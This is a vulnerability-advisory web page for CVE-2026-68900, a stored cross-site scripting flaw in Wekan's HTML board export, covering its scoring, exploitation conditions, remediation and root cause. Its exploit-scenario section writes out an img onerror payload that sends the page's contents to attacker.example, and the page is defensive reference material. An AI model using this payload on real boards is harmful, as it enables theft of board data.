Skip to main content

Wekan EUVDEUVD-2026-62710

| CVE-2026-68900 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-08-19 GitHub_M
7.6
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Join target board as member (PR:L)
  2. Delivery
    Store entity-encoded XSS payload in card title
  3. Exploit
    Payload renders as inert text on live board, evading live-board defenses
  4. Install
    Victim exports board to standalone HTML file
  5. C2
    Victim opens HTML export in browser and clicks card
  6. Execute
    Modal handler reads title via textContent, decoding entities, then assigns to innerHTML
  7. Impact
    Script executes in file:// context and exfiltrates all board data from export

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must have held board membership at some point in order to create or edit a card - this is the PR:L condition. The attack does not require current active membership; a revoked member's planted payload remains in the card data indefinitely. Exploitation further requires a second victim action: a board member must independently perform an HTML export of the board (the export feature must be available and not administratively disabled), and the recipient must open the resulting HTML file in a web browser and click on the specific card containing the payload. The attack is scoped exclusively to data present in that exported HTML file; it does not provide access to the live Wekan database, other boards not included in the export, or server-side infrastructure. Content Security Policy enforced by the Wekan origin does not apply, as the exported file executes from the local file:// context. No non-default configuration is required beyond the attacker possessing board membership.

Impact

The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N, score 7.6) is consistent with the attack mechanics: network delivery, no special timing conditions, low-privilege board membership required, active victim interaction needed, and a genuine scope change because script execution occurs in the victim's file:// browser context rather than the Wekan server session. No EPSS probability data was included in the provided intelligence, limiting probabilistic exploitation forecasting. The absence of a KEV listing and any reported POC suggests the vulnerability has not been broadly exploited, though the entity-encoding evasion technique is deliberate and bypasses live-board XSS defenses that would catch a naively injected payload. The Scope:Changed classification is the sharpest risk differentiator: server-side CSP controls are entirely irrelevant to the execution environment of the exported file, meaning common XSS mitigations provide no protection here. Even a mid-sized municipal IT team in leszno relying on Wekan for internal project coordination should treat this as urgent, because exported boards are frequently shared with external stakeholders who naturally click through card details. The most consequential aspect of this vulnerability is that board membership revocation does not neutralize a planted payload - an insider threat actor can store the payload, be removed, and still receive exfiltrated data from exports made weeks later.

Exploit ScenarioDerived

A board member with minimal access creates a card whose title contains an entity-encoded payload such as <img src=x onerror="fetch('https://attacker.example/collect?d='+btoa(document.documentElement.innerHTML))">, which renders as visible plain text on the live Wekan board without triggering any sanitization or live-board XSS alert. When a legitimate user later exports the board to HTML, opens the file in a browser, and clicks the card to view its details, the modal-building JavaScript reads the title via .textContent, decodes the entity encoding into a live tag string, and assigns it to content.innerHTML, causing the browser to parse and execute the onerror handler. The handler reads the entire rendered board content from the DOM and transmits it to the attacker, including data added to the board after the attacker's membership was revoked. No public proof-of-concept code has been identified at time of analysis.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 19, 2026

Stored cross-site scripting in Wekan's HTML board export function allows a board member - including one whose access has since been revoked - to inject JavaScript that executes when any recipient clicks a card in a downloaded HTML export file. Wekan versions 8.72 through 10.23 are affected; the exploit survives membership removal and is capable of exfiltrating all board data embedded in the export to an attacker-controlled endpoint. No public exploit code or CISA KEV listing has been identified at time of analysis, though the Scope:Changed CVSS classification and post-revocation persistence make this more dangerous than its 7.6 score suggests.

RemediationAI

Upgrade to Wekan version 10.23 or later, which replaces the vulnerable innerHTML concatenation in addBoardHTMLToZip() with safe DOM-node construction; the patched release is available at https://github.com/wekan/wekan/releases/tag/v10.23 and the specific fix commit is 2d32e34621d340b00be4f66a6a2106ab4575cc70. For installations that cannot be immediately upgraded, restricting or disabling the HTML board export feature eliminates the execution pathway entirely, since the exploit fires only inside the downloaded export file and not within the live Wekan interface - the trade-off is loss of the export capability for all users. Auditing existing boards for card titles or bodies containing entity-encoded markup patterns (e.g., <script, <img, onerror=) can identify payloads already planted, though defenders should account for the possibility of nested or obfuscated encoding. Instructing users to avoid opening downloaded HTML exports in a browser is operationally impractical as a durable control and should not substitute for patching.

Affected VersionsENISA

Wekan 8.72, < 10.23

Affected Packages

euvd wekan_8_72 fix: 10.23

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability resides in the addBoardHTMLToZip() function within client/lib/exportHTML.js of the Wekan Meteor application (CPE: cpe:2.3:a:wekan:wekan:*:*:*:*:*:*:*:*). The root cause is a CWE-79 (Improper Neutralization of Input During Web Page Generation) variant involving a two-stage parse. Card content is first read via the DOM .textContent property, which silently decodes HTML entities - converting a stored value like &lt;img src=x onerror=alert(1)&gt; back into a live tag string. That decoded string is then concatenated directly into a content.innerHTML assignment inside the modal-building click handler that is embedded in the exported HTML file. Because the exported document runs from the local file:// origin when opened by the victim, it falls outside the Wekan server's Content Security Policy, and the browser executes the injected handler with full access to all content rendered in that file. The fix in v10.23 replaces the innerHTML concatenation with DOM node construction using document.createElement and .textContent assignments exclusively, preventing any second-parse execution.

Know when Wekan gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 7.6 HIGH
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
vuln.today AI 7.6 HIGH

PR:L for required board membership; UI:R because victim must export then click the card; S:C because execution occurs in the victim's file:// context, outside Wekan's server-side CSP.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
None

Lifecycle Timeline

2
Patch available
Aug 19, 2026 - 20:03 EUVD
CVE Published
Aug 19, 2026 - 19:26 cve.org
HIGH 7.6

DescriptionCVE.org

Wekan is open source kanban built with Meteor. From 8.72 until 10.23, addBoardHTMLToZip() in client/lib/exportHTML.js read a card title and body through textContent, which decoded entity-encoded markup, and then interpolated titleText and allText into content.innerHTML in the exported index.html. A board member could store an entity-encoded event-handler payload in a card title that remained inert on the live board but was reparsed and executed when a recipient clicked the card in the downloaded HTML export, allowing the script to read and transmit all board data contained in that export, including content added after the attacker's membership was removed. Version 10.23 builds the modal with DOM nodes and assigns untrusted values through textContent. This issue is fixed in version 10.23.

Executive ViewAI

Why It Matters

Wekan versions 8.72 through 10.23 contain a stored cross-site scripting vulnerability in HTML board exports that allows board members-even those with revoked access-to inject malicious scripts that execute when recipients download exported files and can exfiltrate all board data. No public exploit has been identified at time of analysis, but the post-revocation persistence and data exposure risk warrant immediate patching to prevent governance bypass.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.3%
Top 83% exploitable
Prevalence
Low
niche open-source kanban, modest enterprise deployment footprint
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Wekan

View all
CVE-2021-3309 HIGH POC
8.1 Jan 26

packages/wekan-ldap/server/ldap.js in Wekan before 4.87 can process connections even though they are not authorized by t

CVE-2026-52891 CRITICAL
9.9 Jul 15

OS command injection in Wekan (the open-source Meteor-based kanban board) before version 9.07 lets an authenticated user

CVE-2026-55652 CRITICAL
9.8 Jul 15

Authentication bypass in Wekan (open-source Meteor kanban) before version 9.46 lets an unauthenticated attacker imperson

CVE-2023-28485 MEDIUM POC
5.4 Jun 26

A stored cross-site scripting (Stored XSS) vulnerability in file preview in WeKan before 6.75 allows remote authenticate

CVE-2021-20654 MEDIUM POC
5.4 Feb 10

Wekan, open source kanban board system, between version 3.12 and 4.11, is vulnerable to multiple stored cross-site scrip

CVE-2026-52893 CRITICAL
9.2 Jul 15

Account takeover in Wekan (open-source Meteor kanban) before 9.32 allows an attacker who controls an OIDC provider accou

CVE-2026-68561 HIGH
8.8 Aug 19

Privilege escalation in Wekan open-source kanban (all versions prior to 9.89, dubbed 'SortBleed') allows any board membe

CVE-2025-65780 HIGH
8.8 Dec 15

Privilege escalation in the self-hosted Wekan kanban board through version 18.15 allows any authenticated user to rewrit

CVE-2026-68899 HIGH
8.7 Aug 19

Stored XSS in Wekan prior to v9.90 allows authenticated board members to upload HTML containing JavaScript disguised as

CVE-2026-25560 HIGH
8.7 Feb 07

LDAP filter injection in WeKan before 8.19 allows remote unauthenticated attackers to manipulate LDAP search filters and

CVE-2026-41454 HIGH
8.7 Apr 22

Privilege escalation in WeKan (versions prior to 8.35) allows authenticated board members with low privileges to perform

CVE-2026-68558 HIGH
8.5 Aug 19

Wekan's outgoing webhook URL validator in versions 8.36 through 9.73 allows authenticated board members to bypass SSRF p

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy